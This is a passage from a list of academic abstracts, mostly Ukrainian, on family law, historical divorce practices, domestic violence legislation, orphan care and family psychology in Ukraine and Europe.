wedding ceremony (including non-Greek Catholic rite), formal termination of marriage to legitimize the long-standing "wild spouse". Other common reasons included immoral behavior, mental or physical illness, abuse, threats from a spouse, assault and battery. At the same time, adultery was not considered in rural areas a good reason to terminate the marriage. All these reasons were brought to the foreground in the context of emigration and wartime, when the separation of husbands and wives had lasted for years. In fact, by petitioning the ecclesiastical court to declare the missing members dead and to terminate the marriage, the suers wanted to arrange their personal life in a new way, guided by both practical considerations and emotional factors. That is why in archival documents most of the cases concern petitions for the termination of a marriage due to the death of one of the spouses and the legalization of the marriage "in faith" (unregistered marriage). The political motives for divorce were singled out as well, since such circumstances as the absence of the state, occupation of Halychyna by Poland, establishment of the Soviet regime in other Ukrainian lands became the basis for arrests, denunciations, political betrayals, fidelity tests and, eventually, divorces. [ABSTRACT FROM AUTHOR]

Статтю присвячено науковому дослідженню порівняння особистих немайнових прав осіб, що проживають однією сім’єю без реєстрації шлюбу та чоловіка і дружини, що перебувають у законному шлюбі, а також проблемним питанням їх здійснення. Встановлено існування такого суспільного явища як спільне проживання жінки та чоловіка без шлюбу до виникнення інституту шлюбу, що обумовлено багатьма об’єктивними та суб’єктивними чинниками Визначено початок формування шлюбних відносин пов’язаний із потребою в особливих соціальних нормах для приборкання біологічного інстинкту та регуляції статевого спілкування всередині роду. Встановлено, що будучи такими, що не суперечать моральним засадам суспільства, незареєстровані шлюбні відносини, котрі супроводжується спільним веденням господарства та спільним побутом, так само як і реєстрація шлюбу, є підставою для створення сім’ї, а отже, і підставою для виникнення між співмешканцями взаємних прав і обов’язків. На основі проведеного дослідження у правовій доктрині виявлено суперечливість питання щодо наявності в учасників незареєстрованих шлюбних відносин особистих немайнових прав. Встановлено, що одні науковці вважають жінку та чоловіка, що проживають однією сім’єю без шлюбу, в цілому рівними у правах з подружжям в зареєстрованому шлюбі; другі – що такі права лише часткові; інші взагалі заперечують наявність відповідних прав та обов’язків у жінки та чоловіка, що проживають однією сім’єю без шлюбу. Виявлено, що головною причиною таких розбіжностей позицій науковців до досліджуваної проблеми є відсутність прямої вказівки у СК України на прирівнювання учасників незареєстрованих шлюбних відносин до подружжя у зареєстрованому шлюбі в аспекті поширення на перших особистих немайнових прав подружжя. Натомість СК України лише обмежує їх правовий статус наявністю окремих майнових прав та закріпленням деяких особистих немайнових прав, зокрема щодо можливості встановлення походження дитини від батька – учасника незареєстрованих шлюбних відносин з матір’ю дитини та щодо можливості спільного усиновлення дитини аналогічно тому, як подібне усиновлення здійснює подружжя у зареєстрованому шлюбі.

У статті проводиться аналіз норми кримінального законодавства України у сфері кримінально-правової протидії домашньому насильству. Визначено, що кримінальну відповідальність за домашнє насильство закріплено у ст.126-1 Розділу ІІ Особливої частини «Кримінальні правопорушення проти життя та здоров'я особи» КК України. Зроблено висновок про те, що предметом суспільних відносин, які забезпечують життя, фізичну недоторканність та здоров'я особи, є група «природних» прав людини на життя, фізичну недоторканність та здоров'я. Зазначений висновок демонструє невідповідність назви розділу ІІ Особливої частини КК України групі суспільних відносин, які поставлені у ній під кримінально-правову охорону, щодо закріплення кримінальної відповідальності за домашнє насильство. Тому робиться висновок про доцільність розміщення кримінально-правової норми, яка передбачає відповідальність за домашнє насильство, в окремому додатково створеному розділі Особливої частини КК України, разом з іншими кримінальними правопорушеннями, які посягають на сімейні правовідносини, зокрема ст. ст. 150-1, 151-2, 164-169 КК України. Відзначено, що за сукупністю кримінальних правопорушень слід кваліфікувати домашнє насильство, пов'язане з катуванням (ст.127 КК України), кваліфікованим видом нанесення побоїв і мордувань (ч.2 ст. 126 КК України), кваліфікованим видом погрози вбивством (ч.2 ст.129 КК України), умисним нанесенням середньої тяжкості та тяжких тілесних ушкоджень, доведенням до самогубства (ст.ст.120-122 КК України) та умисним вбивством (ст. 115 КК України). При цьому, завдання при домашньому насильстві умисних легких тілесних ушкоджень (ст.125 КК України), а також основний склад побоїв і мордувань (ч.1 ст.126 КК України) та основний склад погрози вбивством (ч.1 ст.129 КК України) кваліфікації за сукупністю не вимагає. Зауважується, що одними з недоліків законодавчої дефініції домашнього насильства є ознака систематичності, тлумачення якої залишено на розсуд правозастосовної практики. Крім того, законодавцем не розкрито конкретні способи видів домашнього насильства, а сам склад правопорушення, будучи матеріальним, містить наслідки, сутність яких встановити дуже складно. До недоліків законодавчої конструкції ст.126-1 КК України авторами також віднесено відсутність кваліфікованих та особливо кваліфікованих ознак домашнього насильства, що не дозволяє ефективно диференціювати застосування кримінально-правових засобів, реалізуючи право суддівської дискреції.

У статті досліджується питання функціонування дитячих будинків сімейного типу та прийомних сімей як важливих форм влаштування дітей-сиріт і дітей, позбавлених батьківського піклування в умовах воєнного стану. Звернено увагу на особливості прийому дітей-сиріт і дітей, позбавлених батьківського піклування до дитячих будинків сімейного типу та прийомних сімей під час військових подій в Україні. Звернено особливу увагу на законодавство України про соціальний захист дітей-сиріт, дітей, позбавлених батьківського піклування, а також осіб з числа дітей-сиріт та дітей, позбавлених батьківського піклування, а саме: Конституцію України, Закон України «Про забезпечення організаційно-правових умов соціального захисту дітей-сиріт, дітей, позбавлених батьківського піклування», постанову Кабінету Міністрів України «Про внесення змін до деяких постанов Кабінету Міністрів України щодо захисту прав дітей на період надзвичайного або воєнного стану» від 22 березня 2022 р. № 349 та інші законодавчі акти, що регулюють правовідносини, пов’язані з наданням матеріальної, соціальної та правової допомоги дітям-сиротам, дітям, позбавленим батьківського піклування, а також особам із числа дітей-сиріт та дітей, позбавлених батьківського піклування. Прийомна сім’я та дитячий будинок сімейного типу є одними з найефективніших форм влаштування дітей-сиріт і дітей, позбавлених батьківського піклування. Адже діти, чиї батьки померли або в силу різних обставин не можуть виконувати свої обов’язки, також потребують родинного тепла і виховання. А особливо маємо сумний результат страшної війни: тисячі дітей залишилися сиротами, втратили піклувальників чи опікунів, стикнулися з жахіттями війни, загубилися під час бомбардувань, евакуації з зон бойових дій, зникли безвісти, насильно вивезені на територію країни-агресора та не знають нічого про своїх батьків.

У статті презентовано результати використання в процесі психоло­гічного супроводу психотерапевтичної техніки «Сімейна скриня». Методи. Описано основні підходи до застосування психотехніки, під час реалізації якої клієнтові пропонують уявити образ сімейної скрині, передбачаючи, що в описі будуть представлені незадоволені сімейні та особистісні потреби, конфлікти або афекти, що утворюють зміст несвідомого. Указано, що образи, повʼязані з несвідомим, досить універсальні й мають статус архетипових образів, що співвідносяться з екзистенційними життєвими ситуаціями. Результати. Кон­статовано, що в експериментальній групі внаслідок упровадження техніки на етапі контрольного діагностичного зрізу частота вираження позитивної модальності всіх визначених емпіричних показників достовірно вища за частоту вираження такої в контрольній групі. Засвідчено, що серед пред­ставників експериментальної вибірки кількість членів сімей проблемних дітей зі сформованою настановою на позитивне сприйняття й прийняття партнера або інших членів ядерної сім’ї, із відрефлексованою позицією та готовністю до генерування конструктивного простору подружніх і сімейних взаємин, куль­тивування «здорових» сімейних цінностей та настанов, реалізації конструк­тивних рольових патернів сімейного функціонування виявилася більшою, ніж серед представників контрольної вибірки. Відзначено, що рівень формування особистісної настанови на позитивне сприйняття й прийняття партнера або інших членів ядерної сім’ї в членів сімей проблемних дітей у межах упро­вадження психотерапевтичної техніки в 4,5 раза вищий. Висновки. Доведено, що важливим компонентом психологічного супроводу сімей, що мають про­блемних дітей, є психотерапевтичний етап із використанням психотехніки «Сімейна скриня», спрямованої на розвиток позитивних змін щодо сімейних цінностей, сімейних ролей, сімейних установок, особливостей подружніх і сімейних взаємин та ставлення, прийняття партнера чи інших членів ядерної сім’ї, що стали мішенями психологічного супроводу. Зазначено, що перспек­тив­ними напрямами подальших досліджень є вдосконалення програми пси­хологічного супроводу сімей, що мають проблемних дітей, складання емпірико-діагностичних програм формування змісту психологічного супроводу сімей із використанням ефективних психотерапевтичних технік.

У статті розглядається поняття "законних очікувань" та пояснюються елементи сімейно-правового механізму захисту законних очікувань членів сім'ї. Проаналізовано національну юридичну літературу щодо використання терміна "законні очікування" та встановлено різні переклади та розуміння. Виправдано, що доцільніше використовувати термін "законні очікування", оскільки законні очікування можуть тлумачитися обмежено і лише в тій мірі, яка передбачена законом. Гарантію законних очікувань пропонується розглядати як принцип, який є частиною верховенства права і який в принципі стосується принципів правової визначеності, рівності, справедливості та добросовісності. На наш погляд, гарантія законних очікувань є принципом, який є частиною верховенства права і, в принципі, пов'язаний з принципами правової визначеності, рівності, справедливості та добросовісності. ЄСПЛ неодноразово тлумачив поняття "законних очікувань". Відповідно до пунктів 21 та 24 судового рішення у справі Федоренко проти України правом власності може бути "існуюче майно" або кошти, включаючи вимоги, щодо яких позивач може обґрунтувати їх принаймні "розумними очікуваннями" можливості ефективної право власності на право [7]. Досліджено розуміння правомірних очікувань у практиці ЄСПЛ та застосування цього поняття судами України. Виявлено систему норм у Сімейному кодексі України, що спрямовані на охорону правомірних очікувань щодо здійснення особистих немайнових та майнових прав членами сім’ї та іншими учасниками сімейних відносин. Встановлено, що правомірні очікування не є правом, і не є інтересом. Інтерес мотивує до виникнення права та правомірних очікувань, а правомірні очікування передують виникненню праву та можуть виникати у ході здійснення права як очікування певного правомірного результату. Сімейно-правовий механізм охорони правомірних очікувань учасників сімейних відносин включає як інституційні, так і правові елементи. Аналіз норм СК України показав наявність достатніх інструментів для охорони та захисту більшості правомірних очікувань учасників сімейних відносин. При цьому, можливий пріоритет правомірних очікувань одних учасників сімейних відносин (наприклад, дитини), над правомірними очікуваннями інших учасників таких відносин (наприклад, батьків дитини).

В науковій статті автор провів наукове дослідження особливостей захисту сімейних прав осіб, які перебувають у шлюбі чи інших сімейних союзах в практиці Європейського суду з прав людини, зокрема таких сімейних союзів, як фактичний шлюб, сепарація шлюбу, цивільне партнерство приходимо до наступних висновків. Зазначені правові стани Європейським судом з прав людини визнаються як такі, що надають право на захист від втручання в сімейне життя, тобто є сім’єю, аналогічно тому, як виникає сім’я в результаті укладення зареєстрованого шлюбу. При цьому, на думку суду, поняття «сім'я» включає і фактичні сімейні відносини, коли сторони живуть спільно поза шлюбом. Дитина, народжена в результаті таких взаємовідносин, є членом сім'ї з моменту народження і завдяки фактом народження. Між дитиною та її батьками існує зв'язок, рівнозначний сімейному життю, навіть якщо на момент його народження батьки більше не проживали спільно або їх відносини закінчилися. Спільне проживання, як правило, є обов'язковою умовою сімейного життя, проте у виняткових випадках і інші чинники можуть свідчити про те, що конкретні відносини досить стабільні, для того щоб розглядати їх як фактичні сімейні зв'язки. Інший вид сімейного союзу – шлюб в період дії режиму окремого проживання подружжя, в практиці Європейського суду з прав людини представлений дещо слабко і стосується як правило наданню можливості скористатися самою процедурою запровадження сепарації шлюбу, однак при цьому суд визнає що подружжя має невід’ємне право на ініціювання такої процедури. До 2010 року Європейський суд з прав людини у цілому виявляв доволі стримане ставлення до такого виду відносин, як одностатеві, не визнаючи їх сімейними, однак після 2010 року, з урахуванням стрімкої лібералізації панівної суспільної моралі стосовно одностатевих відносин, що відбулася у Європі, Європейський суд з прав людини не зміг заперечити, що відносини таких пар по суті становлять «сімейне життя».

В науковій статті автор провів наукове дослідження особливостей захисту майнових та особистих прав осіб, які перебувають у фактичних шлюбних відносинах у судовій практиці України. На підставі вище ви- кладеного наукового дослідження автор зазначає на тому, що найчастіше звернення до суду щодо встанов- лення юридичного факту проживання однією сім’єю жінки та чоловіка без шлюбу, відбувається з метою отримання спадщини одного із фактичного подружжя або для встановлення спільної сумісної власності на спільно набуте майно. В цілому судова практика щодо встановлення юридичного факту проживання однією сім’єю жінки та чоловіка без шлюбу є неоднозначною. Така неоднозначність стосується передусім наступ- них питань: 1) термінології, яка використана для позначення фактичних шлюбних відносин (вони в судовій практиці називаються «фактичні шлюбні відносини», «фактичний шлюб», «фактичні взаємини сторін», «проживання однією сім’єю чоловіка та жінки без шлюбу», «перебування у фактичних шлюбних відносинах та прожи- вання однією сім’єю», «фактичні подружні шлюбні відносини», «проживання однією сім’єю у фактичних шлюбних відносинах», «проживання однією сім’єю» тощо); 2) переліку обставин, які безумовно свідчать про наявність фактичних шлюбних відносин. Зокрема, окре- мі суди до таких обставин відносять реєстрацію обох з фактичного подружжя у квартирі (однак як свідчить постанова Верховного Суду від 10 жовтня 2019 року у справі № 748/897/18 проживання чоловіка і жінки за однією адресою, що пов’язане з поділом майна після розірвання шлюбу та відсутністю іншого місця прожи- вання, не свідчить про сімейні відносини між ними), спільну присутність на святах та пересилання коштів (однак це заперечується постановою Верховного Суду від 15 серпня 2019 року у справі № 588/350/15), факт періодичного спільного відпочинку (що заперечується постановою Верховного Суду від 27 лютого 2019 року у справі № 522/25049/16-ц).

У статті проаналізовано ціннісні орієнтації сучасного українського студентства, зокрема особливостей погляду студентської молоді на сім’ю та кар’єру. Спираючись на результати емпіричного дослідження, досліджуємо особливості цінностей сім’ї1 й погляду на сімейні практики харківського студентства як представників сучасного українського мегаполісу, порівнюючи ці дані з показниками за всім масивом. До особливостей ціннісного поля харківського студентства дослідники віднесено лібералізацію, індивідуалізацію, а також підвищений рівень соціальної суб’єктності як ціннісно-практичний феномен. Відзначено необхідність відходу від ціннісної опозиції «кар’єра та сім’я», оскільки в оцінках українського студентства це представлено скоріше як два нероздільні складники успішної самореалізації особистості, ніж як взаємовиключні траєкторії життєвого шляху. Підсумовано, що для сучасного українського студентства притаманне тяжіння до егалітарної (сучасної) моделі сім’ї, котре характеризується розмитістю розподілу сімейних ролей та постмодернізацією сімейних цінностей студентської молоді, що полягає в сприйнятті сім’ї молоддю не лише як середовища для народження дітей, але і як сфери самореалізації особистості та покращення її якості життя.

The essence of the family’s upbringing potential, its peculiarities, the influence on the development of the child’s personality are highlighted, the problems of the impact of a disfunctional family on juvenile delinquency in the conditions of building civil society in Ukraine are analysed.

У статті увагу акцентовано на системі психологічної допомоги сім’ї з проблемною дитиною. У плані представленого дослідження важливим є аналіз використання казкотерапії як складової частини психологічного супроводу сімей, які мають проблемних дітей дошкільного та раннього шкільного віку. Указано, що така форма роботи, як написання казки із сімʼєю, має діагностичне й психотерапевтичне значення. Зазначено, що казка допомагає виоремити особливості та стереотипи взаємодії й поведінки; сімейні правила та сімейний сценарій; сімейні міфи; життєвий сценарій; сімейні й індивідуальні межі; сімейну та життєву історію. Доведено, що спостерігаємо виражену позитивну динаміку за всіма емпіричними показниками, що змістовно визначають структуру психотипічного профілю батьків проблемних дітей після проведення казкотерапії. Виявлено, що програма супроводу з використанням казки стала важливим фактором якісної трансформації змістовно-структурних виховних елементів. Відбулася конструктивна трансформація стратегії потуральної протекції у сфері виховання дитини, ефективній корекції їхньої неконструктивної особистісної позиції. Констатовано, що, порівняно з традиційною програмою психологічної допомоги, упровадження казкотерапії до програми психологічного супроводу забезпечило більш ефективну корекцію неконструктивних особистісних настанов батьків проблемних дітей, а також достовірно вищий ступінь розвитку тих властивостей їх особистісної структури, які покладено в основу конструктивних патернів особистісного функціонування. Узагальнено дані порівняльного аналізу результативності формувальних заходів стосовно випробуваних експериментальної та контрольної груп за критерієм «рівень розвитку показників сімейного функціонування», які дають змогу констатувати, що зіставлення з традиційною технологією психологічної допомоги упровадження казкотерапії в програму психологічного супроводу забезпечило батьків проблемних дітей більш високим ступенем розвитку ефективних механізмів особистісно-сімейного функціонування, а також більш стійким рівнем сформованості особистісної настанови на конструктивне розвʼязання актуальних проблем.

У статті представлений аналіз ролі сім’ї у формуванні девіантної поведінки дитини. Автор характеризує основні функції сім’ї: репродуктивну, яка полягає у народженні дітей, продовженні роду; виховну – передача цінностей, норм і правил суспільства, вплив на формування особистості дитини; господарсько-побутову (чи господарсько-економічну), що полягає в забезпеченні усіма необхідними для існування матеріальними благами, організації харчування, створенні благоустрою помешкання, формуванні й витрачанні сімейного бюджету тощо; рекреативну – функцію організації дозвілля, формування культури кожного члена родини; функцію соціального контролю – полягає у відповідальності родини за поведінку її членів у суспільстві відповідно до суспільних норм та цінностей; регенеративну (або соціально-статусну), що пов’язана з наслідуванням статусу, прізвища, майна, соціального положення; психотерапевтичну функцію або функцію емоційної підтримки, яка спрямована на психологічний захист кожного члена родини, його емоційну стабілізацію; функцію статевого регулювання, через яку в суспільстві регулюються природні статеві потреби людей, впорядковуючись у формі подружніх стосунків. Серед чинників формування девіантної поведінки виділяють індивідуальний, педагогічний, психологічний, соціальний фактори. Перелік чинників девіантної поведінки перегукується із функціями сім'ї. Соціальний чинник девіантної поведінки відображається у порушеннях господарсько-побутової функції сім'ї. Педагогічний фактор девіантної поведінки проявляється у проблемах реалізації виховної, рекреативної, функції соціального контролю тощо. Психотерапевтична функція сім'ї має забезпечувати психологічних комфорт усіх її членів, а невиконання цієї функції проявляється психологічним чинником девіантної поведінки. Невиконання сім'єю будь-якої функції та виховання у дисфункціональній сім'ї є основою для формування девіантної поведінки. Автор звертає увагу на важливість емоційного зв’язку у дитячо-батьківській підсистемі, увазі та любові батьків до дітей, проведення вільного часу у спільній діяльності для формування особистості дитини. У статті також наголошується на роль сім'ї як інституту соціалізації, за допомогою якого дитина засвоює суспільні норми, цінності, правила поведінки. Наведено результати анкетування школярів та проаналізовано деякі аспекти сімейних стосунків у сучасному суспільстві.

The article analyzes the peculiarities of the legislative regulation of divorce among the Ukrainian Orthodox population during the second half of the XVIII ‒ the first half of the XIX cent. The research was carried out on the basis of the legal and directive-administrative documents using general scientific (analysis, synthesis, concretization, verification) methods and the methods peculiar to historical science (critical analysis and deconstruction of the sources) methods. The given examples of the family life of married couples contributed to the «humanization » of factual material. An extensive array of documents, the use of various methodological approaches and their application to the study of available sources enabled the authors to scrutinize the divorce practices among Ukrainian Orthodox parishioners of a certain chronological period. According to the research, the termination of marital relationship occurred as a result of several conditions, in particular, the fact of adultery, male inability to have a family life. These circumstances were discussed in the clerical courts, the parties of the process provided evidence and eyewitness testimonies. The adulterers and those who had disgraced the sanctity of marriage were punished differently. In cases when severe incurable diseases in one of the spouses were revealed, as a rule, guided by a sense of mercy, the family was not divided. The five-year absence of a matrimonial partner with a lack of information about his life was considered a reason for divorce. In the case of a prolonged absence of one of the spouses, who had been held in captivity, the courts sometimes made exceptions. In patriarchal-paternalistic societies, married women were unprotected from male violence, which made it impossible to exercise the rights of women to divorce. In general, small number of people used their divorce rights. [ABSTRACT FROM AUTHOR]

У статті описано важливість дослідження особливостей особистісного та сімейного функціонування батьків, котрі мають проблемну дитину. Указано, що до категорії «проблемні діти» входять ті, які створюють незручності для функціонування дорослих (батьків, прабатьків, вихователів, учителів й ін.), оскільки характеризуються сором’язливістю, надмірною активністю, агресивністю, неуважністю, неслухняністю, плаксивістю, збудливістю, імпульсивністю, зам­кнутістю, безвідповідальністю тощо (віком 5–9 років). Вихідним емпіричним фактажем для аналізу стали психологічні характеристики досліджуваних, визначені за допомогою комплексу психодіагностичних засобів: проективний тест «Автопортрет» (О. Кандауров), проективний тест «Неіснуюча тварина» (М.З. Друкаревич), проективний тест «Малюнок сім’ї» (Р. Бернс, С. Кауфман), проективні методики «Людина під дощем» (О. Романова, Т. Ситько), «Дім. Дерево. Людина» (Дж. Бук). Зазначено, що задля з’ясування достовірних відмінностей за частотою вираженості (наявності-відсутності) характеристик особистісно-сімейного функціонування в батьків проблемних дітей використано біноміальний критерій (Binomial Test). Передбачено, що отримані результати будуть покладені в основу оптимальної моделі психологічного супроводу як батьків, так і всієї сімейної системи, яка включає дитину з проблемами в розвитку. Досліджено, що для жіночої частини батьків, котрі мають проблемних дітей, достовірно властивими виявилися такі характеристики особистісно-сімейного функціонування, як «відчуття нестабільності», «підозрілість, недовіра», «труднощі в спілкуванні та у взаємодії з іншими», «тривога, страх», «імпульсивність», «пасивність», «емоційна й інтелектуальна незрілість», «сексуальні проблеми», «холодність взаємин», «ригідність», «напруження», «схильність до уникання проблем», «конкуренція між батьками або сиблінгами», «невпевненість, зневіра в собі». Чоловіча частина батьків, котрі мають проблемних дітей, мала такі особливості особистісно-сімейного функціонування: «відчуття нестабільності», «підозрілість, недовіра», «труднощі в спілкуванні та у взаємодії з іншими», «тривога, страх», «задоволеність собою», «імпульсивність», «пасивність», «емоційна й інтелектуальна незрілість», «готовність до роботи над проблемами», «позитивне налаштування на дослідження, сім’ю», «холодність взаємин», «ригідність», «напруження», «порушення в соціально-психологічній адаптації», «схильність до уникання проблем».

Статтю присвячено проблемі демографічного розвитку козацької держави Гетьманщини наприкінці ранньомодерного часу, а точніше локальній історії родини тогочасного традиційного суспільства. У центрі дослідницької уваги – сім’я та мережа родинних зв’язків мешканців села Давидівка Яблунівської сотні Лубенського полку – одного з типових українських сіл Гетьманщини другої половини XVIII ст. У статті на основі облікових даних сповідного розпису 1765 р. проаналізовано показники загальної та середньої населеності домогосподарств і чисельності родин, поколінний склад, типологію і структуру сімейних утворень різних груп сільського соціуму Давидівки – духовенства, козаків і селян. В основу дослідження покладено найпоширенішу в сучасній історико-демографічній науці класифікацію родинних домогосподарств британського історика Пітера Ласлетта. Встановлено, що в Давидівці у 1765 р. прості нуклеарні сім’ї значно поступалися за чисельністю складним формам сімейної організації.

Problem setting. The problems of the phenomenon of social orphanhood, its causes, negative consequences, external and internal factors of appearance are highlighted; promising directions for improving the lives of orphans and children deprived of parental care in Ukraine are identified. Recent research and publications analysis. These problems attract the attention of many scholars. The analysis of their research allows to distinguish several approaches in modern scientific research, which determine the essence of social orphanhood: socio-economic; psychological and pedagogical, legal; sociological. Ukrainian sociologists study the problem of homeless children as a consequence of family disadvantages, consider the social consequences of deprivation of parental children, and analyze the relationships between children and parents, the place and role of the family in the life of the child. The purpose of the article is to analyze some actual issues of social protection of children-orphans and children deprived of parental care. Рresenting main material. The dynamism of social processes during the period of building civil society in Ukraine, the crisis situation in many spheres of public life, economic, social, environmental and other issues affected, first of all, the most socially unprotected category of people - children, especially children- orphans and children deprived of parental care. The level of orphanhood, and especially social, is an important key strategic indicator of the transformation of family values and relationships, state family policy, and the general demographic situation in the country. One of the highest social value of the state is the social protection of orphans and children deprived of parental care. The study of nature, causes, consequences, trends of this social phenomenon has both scientific and practical significance. It should be the basis for the improvement of social relations and institutions of civil society, social norms and practices of their application, to strengthen the system of social control, the consistent implementation of measures of moral and legal education, social prevention and responsibility. All of them are aimed at ensuring maximum protection of the individual, satisfaction of the interests of citizens, democratization and humanization of our society. In Ukraine, for a long time now, there is an urgent need to develop an effective strategy in the field of social protection of orphans and children deprived of parental care. Conclusions of the research. In the conditions of the establishment and development of a democratic rule of law, the construction of civil society in Ukraine, social protection of orphans and children deprived of parental care is one of the main directions of the country's domestic policy. It is about influence on processes that have an exceptional significance for the future development of society.

Відповідно до теми статті автор зосереджується на розгляді проблем сімейного виховання. На основі аналізу педагогічної спадщини А.С. Макаренка у статті розкриваються сутність та зміст, складові сімейного виховання особистості дитини у контексті педагогічної спадщини А.С.Макаренка. Розглянуто провідні ідеї концепції сімейного виховання А.С.Макаренка на тлі сучасних освітньо-виховних процесів. Охарактеризовано виховний потенціал сім’ї та можливості їх використання в виховному просторі загальноосвітньої школи. На основі аналізу поглядів А.С.Макаренка про сімейне виховання розроблена тематика зборів для батьків для використання в системі виховної роботи школи та з метою підвищення педагогічної культури батьків, також запропоновані рекомендації для батьків стосовно виховання дітей у родині.

Проаналізовано відмінності в уявленнях заміжніх і незаміжніх жінок щодо сімейно-шлюбних стосунків та їх трансформації з плином часу. Встановлено, що найбільш важливим для незаміжніх жінок є зовнішня привабливість подружжя, для заміжніх – зовнішня привабливість, особистісна ідентифікація з чоловіком, батьківсько-виховна й емоційно-психотерапевтична сфери. З’ясовано, що в останні роки для незаміжніх жінок більш значущими стали інтимно-сексуальна сфера, особистісна ідентифікація з чоловіком і господарчо-побутова сфера подружніх відносин. У більшості сфер у незаміжніх жінок останнім часом дещо зменшилися очікування та збільшилися домагання щодо сімейно-шлюбних стосунків, а у заміжніх збільшилися як очікування, так і домагання, особливо в батьківсько-виховній сфері.

Сучасний світ стрімко змінюється, як і звичаєвий спосіб життя. Змін зазнає також один із найбільш консервативних інститутів – інститут сім’ї, при цьому залишаючись у сфері впливу релігії. Емпірична фіксація таких змін можлива за допомогою здійснення порівняльного аналізу сімейного життя й шлюбності населення країн, котрі мають визначальні релігійні традиції, а саме: Білорусі, України, Німеччини, послуговуючись даними проекту «Дослідження європейських цінностей». У межах дослідження Україна й Білорусь постають як традиційні суспільства зі стандартним баченням сімейного та шлюбного життя. Підтвердження цього – пріоритетність умов благополучного шлюбу. Для українців і білорусів – це подружня вірність (86,1 % і 75,0 %, відповідно), діти (84,8 % і 72,8 %), готовність обговорювати проблеми, які виникають між подружжям (69,4 % і 57,9 %); для німців – подружня вірність (77,3 %), готовність обговорювати проблеми (58,3 %), задоволеність сексуальними стосунками (53,5 %). Додатковим підтвердженням традиційності українського й білоруського суспільств є також незгода з тим, що шлюб – це застарілий спосіб організації сім’ї (майже 70 % населення в обох країнах, менше 50 % німців); а також недопустимість усиновлення дітей нетрадиційними парами (майже 60 % українців, 50 % білорусів та менше 30 % німців). Вплив релігійних традицій відображається в тому, що повноцінність жінки вимірюється наявністю в неї дітей (так уважають 92,7 % жінок в Україні, 78,2 % – у Білорусі, 51,8 % – у Німеччині), котрих вона зобов’язана народити й виховати разом із чоловіком. Погляди щодо сімейних ролей різняться у всіх трьох країнах, проте нерівність сімейних обов’язків більш жорстко фіксована в Україні та Білорусі. Відмінності проглядаються й у вихованні дітей. Для українців та білорусів важливі такі риси, як працьовитість, відповідальність, терпимість і повага, гарні манери, бережливість, обачне ставлення до грошей та речей, а для Німеччини – відповідальність, гарні манери, терпимість і повага, незалежність, рішучість, наполегливість, уява; тут підтримуються креативність, самореалізація. Отож, для Німеччини сімейні цінності з урахування індивідуальних пріоритетів кожного є більш характерними, звідси – краща адаптація до соціальних змін, стрімкіший розвиток країни. Для білорусів та українців традиційність у поглядах більш незмінна, звідси – неготовність до змін, спротив інноваціям.

The essence of the educational potential of the family, its features, advantages and its influence on the development of a child’s personality has been highlighted and analyses of the problems of the improving of the family educational potential in the conditions of the civil society building in Ukraine has been implemented.

У статті наголошено, що алкоголізм – це хвороба. У сучасній соціальній реальності все більше і більше людей уживають алкоголь, що призводить до серйозних, часто драматичних наслідків. Алкоголізм є причиною маргіналізації та соціальної ізоляції. Страждання, спричинені вживанням алкоголю одним із членів сім’ї, призводять до соціальної дисфункції цієї сім’ї. Соціальний працівник відіграє важливу роль у запобіжних діях та соціальному втручанні. Особливо шляхом навчання молодого покоління слід проводити профілактичні заходи, які в майбутньому запобігатимуть соціальним проблемам, пов’язаним з алкоголізмом. Тільки компетентні процедури можуть мінімізувати його наслідки. З цією метою все суспільство повинно бути залучене до боротьби з алкоголізмом та бути відповідальним за трагедії, що відбуваються у повсякденному житті польських громадян. Соціальна робота відіграє тут дуже важливуроль, мета якої – допомогти не лише людям з алкогольною залежністю, але й повернутись їхнім сім’ям до нормального соціального функціонування.

У статті висвітлено нормативно-правові та концептуальні засади співробітництва соціального педагога з сім’єю щодо виховання статі учнів підліткового віку. Авторкою узагальнено та систематизовано нормативно-правові документи, у змісті яких обґрунтовано умови, принципи і механізми консолідації зусиль сім’ї з представниками навчальних закладів, зокрема соціальними педагогами, щодо виховання статі учнів підліткового віку. Увагу закцентовано на тих положеннях державних документів, які стосуються поняття «соціального партнерства», його планування та організації в аспекті виховання статі учнів загальноосвітньої школи. З метою уникнення термінологічної невизначеності, авторкою уточнено поняття «виховання статі», під яким визначено процес формування визначених особових конструктів, системи моральних установок і норм у сфері міжособистісних контактів з представниками своєї та протилежної статі. Констатовано, що консолідація зусиль соціального педагога з сім’єю є визначальним механізмом вироблення єдиних вимог до організації та реалізації процесу виховання статі учнів підліткового віку у межах загальноосвітньої школи, у позанавчальній сфері їх життєдіяльності, дозвіллєвій активності та у сфері налагодження продуктивної міжстатевої взаємодії загалом.

In the article the author presents a guide to the development of happiness in Ukraine at the stage of its transformation. The author substantiates the importance of taking into account the person's happiness in the integral model of a social organism and the forms of its steady development. Happiness of a person as a universal social value is particularly acute for modern Ukraine in the light of the significant transformations that take place today. Over the past decade, Ukrainian society did not know the problems of military aggression, terrorism, information and psychological influence, manipulation of individual behavior and consciousness, they lead to a change in the picture of the world, the destruction of the integrity of being of individuals. The author analyzes the reasons for the destruction of happiness of the general population based on the mutual influence of personal happiness and public happiness. In this article, the author understands happiness as a dynamic state of social being, in which, in the process of active conscious-creative activity, a person realizes socially significant needs, interests, goals, values, reaches harmony with the internal and external worlds. The author shows for the achievement of happiness the necessary activity of subjects of social development. The scale of happiness is personal and social. Seeds of personal happiness should be sought in the recent Soviet past. Happiness depends on many external and internal conditions. Thus, in order to ensure the level of happiness of Ukrainians, the necessary sustainable development has increased: a harmonious combination of economic, social, environmental, political, spiritual prerequisites that will protect the future generations, provide opportunities for the development of freedom of life, careful attitude to the environment. Stability in the functioning of society, the development of democratic freedoms, the trust of citizens in the institutions of power, as well as labor, are the prerequisites for the formation of happiness.

The level of crime associated with domestic violence has been observed in the European Union in recent years. In some countries, for example in France, this is a common problem. The problem of domestic violence is explored in the works of such scientists, as O. Bandurka, A. Blaga, O. Dzhuzha, B. Golovkin, O. Kostenko, R. Perelygina. But the issue of criminal legal counterwork of domestic violence in the countries of the European Union is not researched enough. The experience of criminal legal counterwork of domestic violence in such countries of European Union as the United Kingdom, France, Germany and Poland was researched. It was analyzed criminal laws of Great Britain, France, Germany and Poland, which regulate the counterwork of domestic violence. In our opinion, the positive elements of the system of criminal legal counterwork of domestic violence in the UK is the possibility of prohibiting the contacts of the aggressor with the victim, the failure to admit him to the family home and the possibility of checking the partner on a violent past. In the system of criminal law enforcement of domestic violence in France, it is positive that the crime of marriage or partner is aggravating circumstances for all crimes, the possibility of evicting the offender from home both before and after imprisonment, the criminalization of the incest and the threats of committing a crime against a spouse, a partner who lives with the offender under the civic solidarity agreement. In the system of criminal legal counterwork of domestic violence in Germany, the positive elements are provision for a special norm that establishes criminal liability for theft by relatives or persons 